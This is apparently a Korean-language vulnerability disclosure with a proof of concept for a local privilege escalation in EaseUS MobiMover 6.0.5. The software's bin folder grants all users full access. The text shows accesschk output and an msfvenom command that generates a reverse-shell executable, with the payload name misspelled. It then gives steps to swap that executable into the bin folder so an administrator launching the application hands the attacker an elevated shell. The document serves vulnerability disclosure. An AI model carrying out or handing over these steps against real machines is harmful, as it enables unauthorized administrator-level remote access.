
EaseUS MobiMover 6.0.5 Build 21620 - 안전하지 않은 파일 및 폴더 권한
MobiMoverUILaunch.exe는 인증된 사용자가 bin 폴더 아래에 있는 서비스의 실행 파일을 자신이 선택한 바이너리로 수정할 수 있는 권한 상승 취약점을 가지고 있습니다. 이 취약점은 '인증된 사용자 그룹'에 부여된 약한 권한 설정으로 인해 존재하며, 이 그룹에는 (M) 플래그, 즉 '수정 권한'이 부여됩니다.

공급업체 홈페이지: https://www.easeus.com/
소프트웨어 링크: https://down.easeus.com/product/mobimover_trial_setup
Google 드라이브: https://drive.google.com/file/d/1tqP00IV-WzqNpyE1Rnqwdg_44RxOhINQ/view?usp=sharing
PoC 동영상: https://www.youtube.com/watch?v=FR4cQm-z4Gw
#PoC
C:\Users\creatigon>accesschk -uwvqd "C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin"
Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
FILE_ALL_ACCESS
RW NT SERVICE\TrustedInstaller
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
Kali Linux에서 msfvenom을 사용하여 악성 바이너리 파일 생성
msfvenom -f exe -p windows/x64/shell_revese_tcp LHOST=<IP> LPORT=<PORT> -f exe -o prepare.exe
생성된 'prepare.exe'를 낮은 수준의 사용자 권한으로 Kali에서 Windows 호스트로 전송
생성된 'prepare.exe' 바이너리 파일을 낮은 수준의 사용자 권한으로 'C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin\prepare.exe'로 이동하여 기존 파일을 교체
관리자가 애플리케이션을 실행하면 관리자 권한으로 리버스 셸을 획득